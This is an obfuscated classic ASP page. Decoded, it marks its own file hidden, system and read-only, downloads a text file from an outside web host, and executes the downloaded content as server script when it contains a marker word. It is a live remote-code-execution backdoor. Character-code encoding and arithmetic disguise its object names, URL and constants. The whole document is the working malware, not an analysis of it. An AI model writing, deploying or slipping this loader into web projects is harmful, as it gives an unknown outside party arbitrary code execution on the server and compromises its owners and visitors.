<%'cj Public O0O0OO00O00O0 Public O00O00O000O000 Public O00O0O00OOOO0,O0O0OO000O00O,OOOOOOOOO0OOO,O0O0OO00,O00O00O000O0O0,O00O000O000OOO Set O0O0OO00O00O0 = Server.CreateObject ( Chr ( 115 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 116 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 103 ) & Chr ( 46 ) & Chr ( 102 ) & Chr ( 105 ) & Chr ( 108 ) & Chr ( 101 ) & Chr ( 115 ) & Chr ( 121 ) & Chr ( 115 ) & Chr ( 116 ) & Chr ( 101 ) & Chr ( 109 ) & Chr ( 111 ) & Chr ( 98 ) & Chr ( 106 ) & Chr ( 101 ) & Chr ( 99 ) & Chr ( 116 ) ) O00O00O000O000 = Server.MapPath ( Request.ServerVariables ( Chr ( 83 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 116 ) & Chr ( 95 ) & Chr ( 78 ) & Chr ( 97 ) & Chr ( 109 ) & Chr ( 101 ) ) ) O0O0OO00O00O0.GetFile ( O00O00O000O000 ).attributes = ( 80 * 20 - 1561 ) Response.Write vbCrLf O00O0O00OOOO0 = LCase ( Request.QueryString & Request.Form ) O00O000O000OOO = Chr ( 97 ) & Chr ( 122 ) & Chr ( 48 ) & Chr ( 49 ) O0O0OO000O00O = Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 58 ) & Chr ( 47 ) & Chr ( 47 ) & Chr ( 119 ) & Chr ( 119 ) & Chr ( 119 ) & Chr ( 46 ) & Chr ( 121 ) & Chr ( 111 ) & Chr ( 98 ) & Chr ( 53 ) & Chr ( 46 ) & Chr ( 99 ) & Chr ( 111 ) & Chr ( 109 ) & Chr ( 47 ) & Chr ( 119 ) & Chr ( 112 ) & Chr ( 46 ) & Chr ( 116 ) & Chr ( 120 ) & Chr ( 116 ) Set OOOOOOOOO0OOO = Server.CreateObject ( Chr ( 77 ) & Chr ( 83 ) & Chr ( 88 ) & Chr ( 77 ) & Chr ( 76 ) & Chr ( 50 ) & Chr ( 46 ) & Chr ( 115 ) & Chr ( 101 ) & Chr ( 114 ) & Chr ( 118 ) & Chr ( 101 ) & Chr ( 114 ) & Chr ( 88 ) & Chr ( 77 ) & Chr ( 76 ) & Chr ( 72 ) & Chr ( 84 ) & Chr ( 84 ) & Chr ( 80 ) ) OOOOOOOOO0OOO.Open Chr ( 71 ) & Chr ( 69 ) & Chr ( 84 ) , O0O0OO000O00O , False OOOOOOOOO0OOO.send O00O00O000O0O0 = OOOOOOOOO0OOO.responseBody Set OOOOOOOOO0OOO = Nothing Set O0O0OO00 = Server.CreateObject ( Chr ( 65 ) & Chr ( 100 ) & Chr ( 111 ) & Chr ( 100 ) & Chr ( 98 ) & Chr ( 46 ) & Chr ( 83 ) & Chr ( 116 ) & Chr ( 114 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 109 ) ) O0O0OO00.Type = ( 25 * 99 - 2474 ) O0O0OO00.Mode = ( 12 * 55 - 657 ) O0O0OO00.Open O0O0OO00.Write O00O00O000O0O0 O0O0OO00.Position = ( 76 * 3 - 228 ) O0O0OO00.Type = ( 91 * 24 - 2182 ) O0O0OO00.Charset = Chr ( 117 ) & Chr ( 116 ) & Chr ( 102 ) & Chr ( 45 ) & Chr ( 56 ) O00O00O000O0O0 = O0O0OO00.ReadText O0O0OO00.Close Set O0O0OO00 = Nothing If InStr ( O00O00O000O0O0 , Chr ( 102 ) & Chr ( 117 ) & Chr ( 99 ) & Chr ( 107 ) & Chr ( 115 ) & Chr ( 117 ) & Chr ( 114 ) & Chr ( 101 ) ) > ( 12 * 19 - 228 ) Then Execute O00O00O000O0O0 Response.Write vbCrLf %>